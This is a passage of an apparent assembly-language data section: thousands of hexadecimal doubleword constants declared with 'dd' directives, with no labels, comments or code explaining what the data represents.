0D497B73Ch, 298CC2CCh, 0DB15C813h, 24124920h dd 0F71182AAh, 898FDE3Ah, 0B2E76FA2h, 0CCAF23BFh, 0BA6E33F6h dd 0B69A2142h, 373E707h, 0C908190Ah, 425579E7h, 43658C41h dd 8C63727Eh, 4D130425h, 5ED4F19Ah, 910A5D2Ch, 0E1C806C9h dd 0CACF4FE2h, 50BA6B6Ah, 0EB6DF3F6h, 10509AF4h, 0C8244788h dd 0CD021DB2h, 4137529Eh, 0CA2A86BBh, 52D94324h, 0AA460685h dd 46FA0CE2h, 928D2B56h, 0ECD5F3FCh, 750485EDh, 220A9138h dd 0D9FD25F1h, 7612185Eh, 0BDFEE621h, 704946DBh, 6135229Ch dd 225C1261h, 0FF986CB8h, 42593AD2h, 0E0B69D0Bh, 0CD785C9Bh dd 0AD2D94AAh, 0E59A432h, 5F86F5FFh, 0B878370h, 26719479h dd 0F3DFACA4h, 5E9F4A38h, 6E306CD5h, 0A1625F4Ah, 0A7677613h dd 4FEEB81Bh, 3AF2D30Ch, 68DD9348h, 0E7257DE2h, 0EEE29A37h dd 62BFD5Bh, 29950921h, 0BB64503Eh, 0A287517Dh, 1B2CAD60h dd 86272774h, 4E0805E1h, 0F5547DFh, 0A828292Ah, 776A48EBh dd 0B38271CDh, 1B82337h, 543BF511h, 6537DE0Dh, 0B1071D49h dd 0B9177C98h, 2F618F6Dh, 0BA8C511Dh, 4B834B83h, 72A21053h dd 0E6C14E39h, 0DEFE79ACh, 0C176FD66h, 6F462185h, 831E589Fh dd 86912A5Dh, 0F8027743h, 882568DDh, 2174C2C3h, 0B98D178Fh dd 6E006CB4h, 0B8E2EFFDh, 0E1F0584Dh, 72397D0Ch, 4ACB8DD2h dd 18EF6FD2h, 838B3FD2h, 62C96F68h, 8FEFAB1Ch, 0A05A3AC4h dd 0F2950220h, 616F28h, 9E5FB5B8h, 0FC63F586h, 0B2756082h dd 2CF21714h, 0E5CE340Eh, 4FE81869h, 0A8081BA5h, 1012BA9Ch dd 0E33D5B56h, 7A58C005h, 1D22F575h, 89140C5Ch, 2DBFD074h dd 0D6209694h, 0E8D2DBC3h, 712D84F8h, 3F5ED86Fh, 4AC1C369h dd 0F29BD54Fh, 24DD59D5h, 0B3C49B10h, 7DD66A46h, 5835BCE9h dd 8609EE68h, 1D48E79Eh, 55453423h, 91EA482Fh, 0ECE704Dh dd 0A54E4DB4h, 0DD9DF5D1h, 32318C84h, 1BD35E1Fh, 0A23A7E34h dd 0A57522C7h, 8F7987B5h, 3AE78C0Ch, 0FDD50E74h, 8AC96450h dd 0C28BA4C0h, 633F59D5h, 0A00CF1BCh, 7ED63BC3h, 9469FDE7h dd 1C1907BDh, 2D7FFD03h, 2D231C14h, 134F5985h, 0C5E93357h dd 9FDA7030h, 2511D455h, 3945F660h, 2C1FDAF5h, 0F83AEE8Eh dd 0DD9A4EA9h, 0CD187E7Eh, 2BC3CDACh, 4F3DB182h, 322BDA70h dd 0C619FFF9h, 469685FAh, 6CDB1371h, 9AEFAD79h, 4BD8BF8h dd 0E62275FBh, 0CB6DFB6Ch, 2EA130FCh, 185DD8B7h, 45A0517Ah dd 5AA59052h, 6E882073h, 84AE7D2Eh, 0E393D9D6h, 0D6029140h dd 2C50190Bh, 851144F3h, 9429F986h, 6C1354EAh, 3B3545CAh dd 0E14C173Eh, 0DE222864h, 59916D78h, 0D9E55EEDh, 33B50942h dd 506AB05Bh, 1F823DB0h, 21EFEA59h, 0E8320BE0h, 0CDFBF434h dd 5AAED24Ah, 4D1B81E4h, 649182EBh, 0CCBC2711h, 563E53ABh dd 8AB624A8h, 622F83E7h, 87C8D3FFh, 0F606840Ch, 2F0966DBh dd 2C084D06h, 78D90D84h, 87AB703Eh, 109A3FCBh, 614CBCC9h dd 63C1F1A7h, 48716FABh, 683A8D86h, 26138D53h, 94F5E306h dd 9818A644h, 0F1484855h, 5BCF20B1h, 0F3BB79A2h, 95B8F8D9h dd 6D25BAA9h, 5A9DCBF5h, 0F951A267h, 6A816936h, 48FD14Ch dd 68BA07D0h, 73DCEED9h, 10BB591h, 845CBAECh, 4B47A785h dd 532D5834h, 32317D25h, 73D9AD7Ah, 42595F42h, 9010C1F9h dd 0E16ED28Dh, 0BF094BCCh, 0B213717h, 32312D9Dh, 0A950C85Fh dd 8C588E40h, 0A57EC59Ch, 4A6BCA0Bh, 43B9F8F9h, 67ACF627h dd 3E75E7Bh, 78330F88h, 9AEB0782h, 49DEE7B8h, 0A5211749h dd 67BAC984h, 0D71CA403h, 0C817B3B8h, 0F0909CEEh, 739E3E9h dd 25E8E04Eh, 6042FEB0h, 87AD5BAEh, 0B31D7C26h, 0B01161FAh dd 5047D6B3h, 0A489AFC0h, 60480B12h, 78F8B6Fh, 0D0708DE1h dd 10509493h, 80577050h, 0A4EBCAC4h, 5BE9BD5Ah, 0E7388234h dd 8BB7F174h, 4E12ECC6h, 5D51AB4Bh, 704660FDh, 0E173F357h dd 0A75B623Fh, 0C8A88DDFh, 0D28E1688h, 0E378DFACh, 0A114B9B7h dd 1DA65B28h, 0ED1A0708h, 0DB48E0B2h, 99287E5Bh, 92E5D07Fh dd 0A9911DCEh, 2CE75F7Fh, 0A39F0534h, 0F20342DEh, 3268073Eh dd 0F32D4EE1h, 0C41233D6h, 5AEFEA6Ah, 7166F1EBh, 0BEC5A718h dd 0C3A4B1E4h, 978232FDh, 63151E75h, 5B32DA8Ch, 7B9C6335h dd 0BA6AB132h, 0E64C5880h, 9C00A7FAh, 4AD60548h, 39FA3495h dd 9A9C3C81h, 5F428055h, 0C1E47558h, 0A4E634C8h, 61731D71h dd 22D6BF09h, 67F9E104h, 4DBFEF6h, 0FF9A66Ch, 0F342C6DCh dd 0A58BEB2Ch, 0C7D69F7Ch, 4C9424CFh, 67279E90h, 3FDB13FBh dd 8DAF0D3Eh, 6C0480F7h, 0EDC976AEh, 0F303E61Eh, 22B4882Ch dd 39C8EB5Fh, 0A8052EBCh, 0BD395117h, 6AB024AAh, 7EFB907Eh dd 0C880BD97h, 3675B5C7h, 1AF8D744h, 581A7365h, 79398CE1h dd 4FA00E8Ah, 0AF784A85h, 0D5809BDBh, 0F5014C3Fh, 68ABEF25h dd 80D05B9Bh, 0B95F6DCBh, 26DD44A7h, 495D6076h, 0E849F62Eh dd 0D6B93E2h, 1C9FF91Ah, 35881695h, 1E5536A3h, 9D221B2h dd 70F63E32h, 91DE5321h, 93829Fh, 0E55EBED5h, 80791598h dd 85408FCEh, 0F841F168h, 0C580F4F3h, 0A80E8980h, 0A2DEB9BDh dd 9A26B278h, 842112DBh, 47C43265h, 0AD3AF3EDh, 3310BE20h dd 715FB6Dh, 0BDEDE317h, 0AEA86BCAh, 7B81521Bh, 5B7DCE7Eh dd 77C72279h, 167C0690h, 2A205719h, 0D297885h, 48E7AE13h dd 7CC5919h, 960480ADh, 999B635Eh, 8B2226C0h, 171DA93Ah dd 0D98963F3h, 0C94260DDh, 14B13929h, 0E34CD76Fh, 48079013h dd 52F0A764h, 6EE076ACh, 619DE696h, 687B0938h, 0A2ED3D89h dd 5C30942Ch, 2824C58Fh, 31792796h, 1E819A32h, 29DFCE1Ah dd 0A6FBFDFh, 13001410h dd 89893DF5h, 0D13C2D0Ah, 67AB55D1h, 178477F6h, 0F5D9179Ah dd 339BC915h, 0F2C22228h, 51F7B8E1h, 7E9C3424h, 27E70622h dd 1AB07336h, 1099CDF1h, 769FB47Eh, 0C7307DA0h, 0F98CD156h dd 66C7968Fh, 9FEDD3C5h, 0E263FA1Fh, 8D8A3231h, 0A4480107h dd 0E04B095Bh, 0A4522C79h, 1E699669h, 289D99FBh, 7B47F87Ah dd 0B0F5D4C8h, 4AA2C19Bh, 0E881349Bh, 15694336h, 83FD7FF5h dd 42C05759h, 0DBEA294h, 0B51A8F96h, 0C579228Bh, 0B334B280h dd 7FD6F738h, 260D13ACh, 0D50A2CEh, 28EEC737h, 0B20CF666h dd 0E153409Dh, 0EF94369Fh, 0B3FB6076h, 0DA46C0C0h, 0C040C9A3h dd 0E9EA8342h, 7F71E884h, 0B26B492Eh, 0DBF0E9A0h, 2BAB2B9Ah dd 774D873Eh, 0DF3B9B38h, 0DA6C0940h, 50093h, 0EA9BC0BDh dd 63D0697h, 0F397EA8Ch, 0CE6DE38Ch, 2E08F7E4h, 0D6BE8776h dd 34E076DEh, 5291855Dh, 2C7AC907h, 0C918DDCh, 9E1A7713h dd 0E29B4F8Bh, 0E5480CFh, 15994306h, 405640DDh, 7888AABDh dd 435C6AD4h, 60146537h, 380C3C5Bh, 8E81C03Bh, 3B93FFA2h dd 6FC73E7h, 61DC6662h, 77F56454h, 7C6140F7h, 96EEB6FAh dd 393E23C7h, 80CE6B56h, 0AF6EE388h, 70D8D2BAh, 881B7C1Bh dd 4E0998CCh, 770261EBh, 60FB1208h, 0B317E292h, 0FEBB09C2h dd 2EBBB236h, 80D14E6Eh, 176CAA7Bh, 0BE6E0133h, 845E9B08h dd 3870E4C0h, 0AA96C6D4h, 0E46F552Fh, 0A90663E3h, 3F9C11CCh dd 562BB08Dh, 4A2371h, 40E67285h, 0EBE7B443h, 4EEA9768h dd 0F8F6F5F5h, 0E475D95Dh, 27F188EEh, 53F5037Ch, 7F35B877h dd 568202B4h, 9E597598h, 83E31BB6h, 48BEFD0Ah, 0EE1574E0h dd 4127C383h, 0CE683CC1h, 0F3BDBEEEh, 93CF502Dh, 5C9B8C7Eh dd 0E5F756A4h, 0F412E474h, 0C437BBB4h, 5A70FD6Bh, 0CED48940h dd 54D8D6F8h, 6B3D8440h, 55334671h, 0FAB04A98h, 67BB7C75h dd 13F02615h, 0ACA499CBh, 19BEF402h, 846B463Ch, 7849AB23h dd 0A934BD7Ah, 2856D29Eh, 0E3231ADh, 0FE30F395h, 0D65594EFh dd 0E1EC4C21h, 0A863D090h, 0AF2E1FD6h, 616320CDh, 7A8F8B02h dd 7A0E9950h, 356E1BDCh, 1522005h, 2A3F77A6h, 47E7EC6Bh dd 0B8F60689h, 6B443996h, 79372448h, 4A86B952h, 0C9FF70C1h dd 5BA90A73h, 0DF7B33B9h, 0DC749FADh, 757669DEh, 0E3D0219Ah dd 4A21B870h, 3DFF1A99h, 3511FF49h, 9501C7AFh, 878076F0h dd 8CE29EBDh, 60CA3D20h, 47A0F37h, 67B59A60h, 47C55F6h dd 229B530Dh, 76ADA0C1h, 13A818ECh, 0FEBDA58Fh, 870C80A1h dd 30904A0Ch, 0CB253231h, 3623840Ch, 0FA6B56D4h, 51436899h dd 1E0BE7C4h, 0CA2F9C6Eh, 12F822B7h, 92CE0621h, 3080D6A5h dd 84543AD8h, 8C0B6A8h, 5AF8FFC4h, 0F26F0068h, 0E56146C1h dd 7E048917h, 0F216E3DBh, 0E4B732F8h, 92E7700Eh, 0CE91B8B1h dd 7335619Eh, 35A11F84h, 0A7323132h, 184786F2h, 0DC50A87Ah dd 0AD41517Dh, 530478D9h, 3F8CE423h, 0C6AA05F1h, 44FD9EBEh dd 188DCBF7h, 3CE02091h, 0C20D10D6h, 2DD9E646h, 0E2EBD535h dd 3EE44C45h, 856527B9h, 0C3323177h, 0D72F76B8h, 558AFF6Ah dd 28233FFFh, 0E5703DA9h, 0D12B2777h, 0F45B689Ch, 0BFD82592h dd 0D57EEBC1h, 8818F960h, 8F400B8Ah, 0F10ECBh, 0A86BD522h dd 6EBB845Ch, 2C4CE15Bh, 598EC5E0h, 0A913F76Dh, 0AC58FEEEh dd 15815BFFh, 56BBBDD9h, 0DD2C0EB7h, 5182FEF0h, 7E55A2EBh dd 0E1983F96h, 0AD3F0070h, 178E565Dh, 0A274153Eh, 0B60A2862h dd 9464A065h, 16ADBE18h, 0BF418175h, 318866A8h, 0AC090B32h dd 94B5863Fh, 0F20AA966h, 9854ABD8h, 254E3672h, 0C2234F23h dd 3E369495h, 254CA901h, 5D54B91Bh, 64490385h, 3A78E146h dd 14DBFC16h, 0DC91C1E3h, 44390CC6h, 0D0E6940Fh, 769342FFh dd 0F8A28056h, 6042AF52h, 14260252h, 1113C2DBh, 5CD7593Ah dd 5798372Fh, 38C7859Bh, 1355FD5Ah, 0A4672DB1h, 0B552FB11h dd 27D9580Ch, 0B5F01752h, 0FFE4C21h, 0C0120DDCh, 0E94BEAB0h dd 0AF8758DAh, 0F4ADA94Fh, 0E7CBB4C6h, 11F7DE82h, 96AABD8Bh dd 8BFF3CC0h, 0C25198F6h, 90FD2CC6h, 1B27E45Fh, 0B5B8F196h dd 55852306h, 0CB30998h, 11ECE002h, 3C3641D9h, 998BC5F1h dd 4C9E8D4Bh, 0A3844660h, 491FA3CFh, 2232A4D2h, 0CDA61C0Ch dd 4697F759h, 3622F3A1h, 0C2C17699h, 323115C2h, 2DE2076Dh dd 5EF49FD4h, 44663DF4h, 85345AF8h, 0AFF3A10Bh, 0BB6CB227h dd 0DEF68CFAh, 7C179797h, 0FC0C97B7h, 0EDE18E51h, 0AB0B94BFh dd 0F03608A0h, 9BB6D173h, 0A8D7F2B0h, 10FD3841h, 9ADBD56Eh dd 5D456ABFh, 0FBF7F939h, 0F6ABCD9Dh, 1A1A3687h, 975E9B06h dd 0F12CBC54h, 20D1B1A2h, 0AFA42A2Ah, 0A5325BC7h, 2C6FCC14h dd 4BB5467h, 1426A3Ch, 0ADE51632h, 705C36E4h, 4A9815A5h dd 0AD19B94Bh, 0F2B7DA58h, 0B4A8E03Fh, 0F10F0452h, 0BB45A82Bh dd 0BA7CAC24h, 111C3F6Ah, 5E1677E9h, 16ADEDEEh, 237F488Dh dd 19A581F2h, 0B82A5B92h, 0BABEB310h, 2BE82E69h, 0FE4B08F5h dd 7076FAFEh, 11B1D4BDh, 821092DEh, 2BD65016h, 43777DEDh dd 0B2723231h, 2CE9192Bh, 0C32BB6D3h, 4968E7Dh, 49F3AE9Ah dd 0BC37675Ch, 6AAB56B7h, 60A80FE3h, 2DB41942h, 0A7E7B78Fh dd 0AAA264EDh, 2FCB7C06h, 0DFED5E37h, 7D6E7399h, 99898389h dd 23D38307h, 722EDB75h, 0F4F5D00Dh, 4F14AED1h, 6DD1E74Eh dd 0DE12D9C8h, 6AEB37A5h, 0BA37B70Fh, 13EC44BFh, 0E577A9CBh dd 12610EEFh, 103EBF74h, 3E4F9D72h, 0E1D3E39Bh, 3C32828Ah dd 50086470h, 626110B8h, 8F7BB79Dh, 7115EB19h, 0EF46A726h dd 34B35239h, 868620C5h, 59A7F589h, 380E3B11h, 5A529C88h dd 0EF45E259h, 0CE0D5499h, 0BCEBD5FBh, 0D5B99644h, 0BF2D5D96h dd 0C8E6F02Ch, 1B1227FAh, 0C823EDFh, 0E4F94F0Eh, 0F840EFEFh dd 0D029FF42h, 0BD079D18h, 0D634FE06h, 0EB22240Ch, 0DAF8E0C1h dd 7FC2DD96h, 73454103h, 705A5B53h, 0CC282199h, 0CB522247h dd 86111C60h, 1BC9A615h, 3A7B4BAh, 0ECF08F17h, 0BC25BF01h dd 3A77589Eh, 67FB0E20h, 7FBCE3Fh, 8F45F2C5h, 0FBEEDD93h dd 5200D916h, 0BB904FF6h, 52FBD852h, 5B245162h, 0F0FE3286h dd 0F98C68AFh, 4E76B8A5h, 66D433ABh, 0F1F2818Dh, 10596A82h dd 0F3B49B46h, 861E46A9h, 7416C267h, 0A4102602h, 36D1A876h dd 9A40EC5Ah, 0FC255E46h, 955FA82h, 1DCEA796h, 0FB7E5000h dd 5947C759h, 0CDE843F6h, 0BF11987Fh, 2A94E307h, 5AD8EDBAh dd 0B4A4A048h, 242701A1h, 98F45C4h, 64D16681h, 52C479C7h dd 0DF5F33D1h, 0AC3E0CAEh, 5F1FB8C0h, 0BF922CE2h, 839A3D3Ch dd 477ACA64h, 0EFAC923Eh, 787EE785h, 0CA520AC9h, 3D8E41C2h dd 22F836C0h, 34B40FC7h, 9159B5CFh, 657A013Ah, 0C3F9851Ah dd 794FFC07h, 0C9C44C57h, 73B2EE4Bh, 0C01E26BFh, 6F644398h dd 0A16467F4h, 74451EA9h, 0B1CAD3FAh, 3D8795B0h, 31D84C10h dd 18F69532h, 0E81C72A4h, 8568995Dh, 6CE28906h, 88A0507h dd 0CA4CEFFAh, 818009EBh, 0B7063231h, 0C9AD4F1Ah, 0FACF3231h dd 630EAAF6h, 2DAA37B9h, 0AACF12FCh, 64C5D4F0h, 0F56605DEh dd 2C1FEF21h, 0F37B25F7h, 81CD7869h, 0CDA884D7h, 0B9D8189Ah dd 631BDB7Fh, 693B5CACh, 747C5972h, 4F99DF82h, 0DB6783DDh dd 59AC99CCh, 26A80B12h, 688D3469h, 7C95DA43h, 0F21BD5C0h dd 654DA6A9h, 1D145BCAh, 20E8BF82h, 4527615Ah, 5376217Dh dd 0B3AFA89Ch, 71A1EDF3h dd 1CD3EDDDh, 0D3999A3Eh, 95492555h, 85DE45BFh, 0BC90F755h dd 0FAA7C539h, 0D18D4005h, 6C5A8C97h, 0A9D4AA40h, 0A4B83A24h dd 0E6C72890h, 92D24986h, 1673DCEAh, 3DF680B6h, 66B1EC8h dd 397CED8Fh, 73B23386h, 0C7646EA3h, 68C85582h, 5D89E3B4h dd 525A428Eh, 0FF434787h, 91467B81h, 2850A4B0h, 7BB473EFh dd 324D1DA3h, 85B900BBh, 279F24D7h, 0B78EF9B4h, 0A08ED10Ch dd 0CBDF3558h, 585613F5h, 522DBF71h, 0F05736F7h, 0E8CF10FEh dd 0A71FB49Dh, 0EA610A76h, 0E68A4B27h, 537B4B3Fh, 6C162957h dd 3F800CD0h, 225FCAC1h, 0C1CA6D0Fh, 0F7549998h, 6E750ECAh dd 0A9EEC7A9h, 0D2A98451h, 9A184803h, 0C403D0DCh, 240D9DC2h dd 362386DCh, 0BEDD1835h, 49574CF4h, 4A2C2BB1h, 8C1840EBh dd 3231801Fh, 64D21727h, 0BBBD9FDBh, 0D01A3412h, 6D0EF1FDh dd 8965FABBh, 67F67A82h, 0FDC777B0h, 2B1C42E7h, 8BDAA3B4h dd 353F75A0h, 176F828Ah, 43444E15h, 63582212h, 0F0C3741Bh dd 86F8279Fh, 33032C38h, 0FDA37854h, 0C23D98E1h, 5F8AED12h dd 32310E9Ah, 2CDA43DFh, 0A556715h, 181580EBh, 30F62BC6h dd 7247C85Eh, 0E615C236h, 26214A2Ch, 0DD0DCF19h, 4018BF53h dd 0FE96C5F1h, 0CBB44D7h, 4856EC53h, 0DE7B4E1Bh, 18E671CCh dd 0A522C2B3h, 0CF4FD085h, 1696BFF7h, 20E7AD49h, 8A7F230Dh dd 0AB7E11B8h, 61CAA26Ch, 92781309h, 616C640Fh, 0D5AB1CAh dd 1ECCA562h, 0F5DDF92Ch, 0F738056Eh, 1D6AE547h, 0F8C2D458h dd 2F51354Eh, 29A58B61h, 0AC9E5869h, 726675ADh, 3231ACC7h dd 0A0456556h, 0F1F14B0Eh, 4A7A86Fh, 7AF14D42h, 835A59FCh dd 9BED4C65h, 76C3F5Fh, 0C2D4433Ah, 0DD0B2F04h, 1E1059C5h dd 0BB5943E7h, 2819AF04h, 31568E1Fh, 0B7ECBB32h, 0E2D36D0h dd 5289746Dh, 79182BE1h, 6128EE05h, 612C4390h, 0BCF92637h dd 76982D0Ah, 45137BADh, 0B2325CA0h, 0D4052B8Eh, 64512EA8h dd 3D1D99C2h, 1C25CD4Eh, 8F2D3E61h, 0F5E4745Ah, 8FE7125Ch dd 830AEFDBh, 447445C7h, 0CAB56C65h, 6E5B7CFBh, 0E4F365C2h dd 49101F91h, 7706511Eh, 2513B058h, 18554E32h, 0B32E14C5h dd 4DAD1DBCh, 1126A3FFh, 112EF379h, 8496D067h, 6D570358h dd 51E2C88Ch, 0AB922BD6h, 3098D263h, 0DC5F561Fh, 0F9CA5B77h dd 0D35AB72Ch, 3FD972F3h, 9F6A12Fh, 0C70D9927h, 0D9247893h dd 547CF9Ch, 2B3B2EC4h, 0AD405806h, 81D26E1h, 0D4D1F576h dd 1DAF2EE7h, 42533ADAh, 2D494E42h, 36222082h, 0DD2A0623h dd 0B5437696h, 3BA2248Dh, 0B700278Ah, 608D3A9Dh, 81C2AB93h dd 49D6092Ah, 8DE1B34Eh, 746594Ah, 0EA9C4E13h, 31536084h dd 0A7438532h, 20ACA36Fh, 0FF0755D1h, 6E2F92CCh, 8EB8DE1Ch dd 2E094AB7h, 9F34F7FAh, 64034CB7h, 802D499h, 0D1740A28h dd 48D40713h, 5581E983h, 0D626905Bh, 0E95201FFh, 52E8764Ah dd 654D34FBh, 1C457946h, 0D2C9ABEBh, 0B46A3040h, 0D100EE2Ch dd 1FD5C313h, 0ED7FE27Fh, 6F89B63Eh, 202EB7E4h, 8E1D8EF1h dd 0F7519061h, 7B4CA9FAh, 0F52DBE10h, 134C11BFh, 0D093F6AEh dd 63D6511h, 4B80F1DCh, 0DFAC2008h, 0B01A0286h, 0A66AEE35h dd 896F62CBh, 48CCB6C2h, 1AEE2D65h, 7001AA3Fh, 183D0E1Dh dd 0E68E0C78h, 62A8372Ah, 59895AEEh, 932AAF70h, 518FAB3Dh dd 30602080h, 0D6B7028Bh, 0F3E3B7EFh, 0B99CA1F0h, 2FF48BDh dd 9670D61Bh, 6DBE237Bh, 0FD0920Fh, 0A188BBCBh, 0E4108CACh dd 1CA149BCh, 0CABFEDE7h, 98096903h, 0FBA2A832h, 0EF2D84AAh dd 0C9A01CF0h, 0EAD1B2Eh, 0EB8A54E6h, 87027B70h, 0E830225Eh dd 0EB3013CEh, 0DF5B593h, 0C6D7EC9Eh, 55FF251Bh, 77F4C020h dd 90D4EDFFh, 0D7BCB1CEh, 3AB015BFh, 209AB9FFh, 69A499D8h dd 668CC585h, 6F70024Ah, 43DC9357h, 0A569EAF5h, 0D9AE08BEh dd 501A9DB8h, 4BD2F093h, 0EB1D7D23h, 91011F3Fh, 13487AB9h dd 70303231h, 41FF6EBh, 8A9EA7CEh, 49C2D23Bh, 0DC7E5582h dd 17ACBBE7h, 47B65149h, 66F6D64Fh, 5167C76h, 5E76B3A5h dd 0E013BD3h, 5ACEAE6Fh, 4D995B1Fh, 82C120E9h, 0BD3897B0h dd 6A65886h, 0C336A495h, 2BCC9A6Fh, 0EF40D219h, 0EE2A8475h dd 163072h, 0A57E71Ch, 0AF51BC81h, 24B0E11h, 5529C451h dd 2DF3B5EEh, 1FB1F356h, 719B8468h, 9533B8E3h, 0D5976080h dd 48096D62h, 0F12A01A0h, 1E7CF35h, 8A2E9F5Eh, 0B784415h dd 0A53DB1CAh, 617FDA81h, 1859DF07h, 3BE46327h, 6F2D1A0Fh dd 0F24025EDh, 8E35250h, 63F317EDh, 0D46EBD22h, 8BE9C3A2h dd 236D12CCh, 0D3C06C63h, 0EAA1AEE1h, 9D323165h, 2BBAE54Eh dd 0DC0798AEh, 0C01670Eh, 23A93DFh, 0E0212DF4h, 0A922060Ch dd 9C0EB6C2h, 0CF640B8Dh, 0BE5B941Ch, 7E92B43Fh, 0B6B99CFEh dd 43911B1h, 0A4FF3617h, 718C700Eh, 0B53D1182h, 0FDC86D15h dd 0F1912780h, 342B631Ch, 5CAE0C68h, 0D2DCD963h, 30304A32h dd 0FB05C179h, 0FF729EF1h, 0E9408444h, 0B27514B6h, 84AF2F81h dd 9267EEB5h, 7E26D814h, 6AE92632h, 0ECDA851h, 4BE5C56Bh dd 5F9A5D77h, 0CAB861ABh, 622BF3FAh, 4DCA45C8h, 0F931FB2h dd 9696FFBBh, 0B255B024h, 1DEFD716h, 0E6D6CDA3h, 93A4BC69h dd 564B0DE3h, 4CE6A146h, 89C6B8B6h, 7C4D1AEFh, 0BBDEFC6Ch dd 0EA9124F3h, 0C03DAA34h, 0BBC69BC5h, 1EE4C2B4h, 0A6BABD7Bh dd 0C585A816h, 8FB76376h, 2DC1D0C7h, 0D9C06546h, 9C103C9Dh dd 0C1083CDAh, 7F290249h, 0A63DEE6Dh, 58AEA4E2h, 0DC7AB123h dd 0AE7BB465h, 256CFD27h, 0E9E70C0Ch, 3D640BE0h, 0F592B4A8h dd 0E502EF3Bh, 0C81AD2A6h, 821088Ah, 0DD93E935h, 0AA952443h dd 6EE63231h, 85246852h, 0B29E1805h, 3AB3D66Dh, 9CEC35F0h dd 0F061830Ch, 0AAD64418h, 0E39B9121h, 78D45913h, 742C8202h dd 63035BCCh, 9A5077FDh, 0EE2BDF42h, 0ACD1B60Ch, 0C46199B8h dd 0A19BFB3Dh, 4CEF926Bh, 56D856F3h, 0F429956Ah, 0FEFA38D4h dd 0F03F34DCh, 0B90C9A19h, 209C3CB4h, 1C7A7419h, 0D91D99DCh dd 0BCE352E7h, 0F5088165h, 0F1B453EFh, 0B82F11F1h, 6BA7F490h dd 0A2EE8A7Ah, 603DB79Bh, 934D5100h, 6AB1E7A5h, 50BCB9F2h dd 0CA67DE61h, 5C9BB2FEh, 0FDB17521h, 0C07A1EB2h, 945C7AF5h dd 227D7F6Bh, 2FFBCAC6h, 737E6CD0h, 9A78C256h, 3231FDA2h dd 1659D36Fh, 66606CDEh, 0F3DB5391h, 0B785D8F0h, 0DAB5CF7Ah dd 0FA0555BFh, 948BC6FDh, 0F753086Ch, 3846D64Ah, 4D85F5FFh dd 462AEC10h, 9DA96C67h, 0BD04EF97h, 0EE1830A6h, 0A118A37Dh dd 28C55980h, 0D1DB9244h, 0D46ED632h, 0AB3FD837h, 0B6172E11h dd 6AC2D32Fh, 65937A49h, 0F67FEB77h, 4E8083FFh, 0B7C6C6A2h dd 964F0D35h, 332313Bh, 217CD615h, 56700975h, 4DB30FB0h dd 738D5589h, 49ECC955h, 1F9E08EFh, 0DABFD360h, 0D1781EF2h dd 0E1687A8Ch, 0A79A2E0h, 309BB762h, 535F3E38h, 57F03AC2h dd 0E824467Ch, 0BFCCFD53h, 1DB1601Ch, 0F86755E7h, 0C61E9358h dd 31B7588Eh, 62E63C32h, 87101582h, 72FB9D76h, 39ACE549h dd 47306480h, 0B21450h, 54C9B63Eh, 0F4096Eh, 0E0CDC64Ch dd 9C22BF98h, 0BABF74ACh, 0CC59D881h, 6D4475F1h, 853C1609h dd 0E3BF4126h, 1FBBF8DEh, 22F1E9C7h, 0FA3B9276h, 36FBB4Ah dd 94E8348h, 20118206h, 82C8ECEh, 1599F611h, 387CF357h dd 2C1F3319h, 572E2047h, 0B40637CEh, 3EE164D3h, 0D6986D6Ch dd 0CC4CD6B3h, 0D739D607h dd 0ECE45FDAh, 14FC6442h, 3204EFCDh, 0E96DD1B8h, 0C15E6B90h dd 0FBECB8D4h, 3AA4EF22h, 549B5F11h, 712EA23h, 0F5B47CEh dd 133D5617h, 7F32B0Ah, 0F26A8D14h, 0A7EB4414h, 0BCAD1F06h dd 0CD323177h, 46A56E18h, 6BA5C21Fh, 0D7F14A1Ch, 0AA543536h dd 0CA22B7DCh, 0F3DB3BE8h, 0E95AFFBFh, 89D0170h, 0A62B0117h dd 0F9B85011h, 0F442F4F0h, 0F30D162h, 0DB323197h, 315CBAABh dd 915E1932h, 2241F940h, 65276F01h, 883B0F7Ah, 5D4D2A4Fh dd 150355F7h, 0E151D3F5h, 0CCBF6F1Eh, 4AE96864h, 0A3D4F3E3h dd 269F93E3h, 8CDE864Dh, 758119E3h, 0C254BB70h, 48AE038Fh dd 9161B834h, 0FFBC9DD4h, 4B7E473h, 8B7D4D6h, 6C614CEAh dd 3D8DD2F4h, 0BB1436D2h, 82B1821Eh, 0AF5A4B50h, 4B1E2671h dd 2D1E39D6h, 0AC434945h, 0BB0ED61Dh, 485FC398h, 53A83231h dd 4B177B3Dh, 0D567D6C1h, 0BC64D790h, 0F3E976Ah, 51344CDCh dd 78ABC7FEh, 7C68A0E8h, 3E6B16C5h, 0F6216ED0h, 0E88DB844h dd 0CD936325h, 2DC39774h, 5EF64C52h, 52BA525Dh, 0E0109BA7h dd 0B13A30B8h, 4E6F90E9h, 9194CAF2h, 0E24B4FAAh, 0DF2C335Ch dd 0C29A2C01h, 0E35BFDB4h, 0A49D2DD5h, 35F5AC87h, 0DE43E932h dd 0F2EEAA1Bh, 0AC623231h, 6086711Bh, 1D80D1FEh, 3F9CF450h dd 7AEE397Ch, 320939A8h, 0C662BC20h, 719EC4E5h, 49C07273h dd 0D208FAE2h, 897250D2h, 3E879039h, 59CE504Eh, 0B029C9A5h dd 0B6A9D3BDh, 1001895h, 0D5F81189h, 639DCB65h, 4488B97Dh dd 0B10210A6h, 0BF590D27h, 32510B6Ah, 3A9D46ABh, 61EC9E72h dd 75B05CAEh, 0B02DDF8Dh, 8C253097h, 4BDA32C0h, 10925B40h dd 412086DBh, 0E2FBD6D6h, 5AE7A67Eh, 816EB77Ah, 0C4B3CA3Ch dd 0DC0927E4h, 6D569B9Eh, 7736D68Ah, 62D924EAh, 3B50529h dd 456678C2h, 0D8F15411h, 0CBC1831Bh, 399157DCh, 0D18B5328h dd 81CD919Eh, 0A58D6FA0h, 0DFF04847h, 0AE55AA91h, 1EB984A5h dd 850CCAD9h, 0E39BB2CDh, 5A77C4Bh, 0EDDF777h, 4CC1030h dd 235751CDh, 32C4A61Ah, 9C53F0C2h, 77EE3BAEh, 81FDE59Dh dd 0D5E4C0C4h, 1ED2485Fh, 0F4763231h, 122CA29Bh, 0CB4FF363h dd 551B06F6h, 6745641Bh, 0DE69DBE4h, 1CC0D009h, 11A79B77h dd 6E8AE48Eh, 52D3F95Ch, 0FE08EA72h, 0B4B433CAh, 0B3566374h dd 6FA2EA14h, 3A36F528h, 5917F3E0h, 0CF9F211Ah, 10C46E6Fh dd 0DD19DD4Ch, 0FC4A4854h, 11E69E3Bh, 7022D922h, 82D2ED1Bh dd 55113F85h, 0E45D9C79h, 3676A75h, 519C3231h, 0F954034h dd 22247A9h, 55425894h, 7F81026h, 3491BE70h, 0CBEF3D3Bh dd 0D1A7EF54h, 0EACEBF40h, 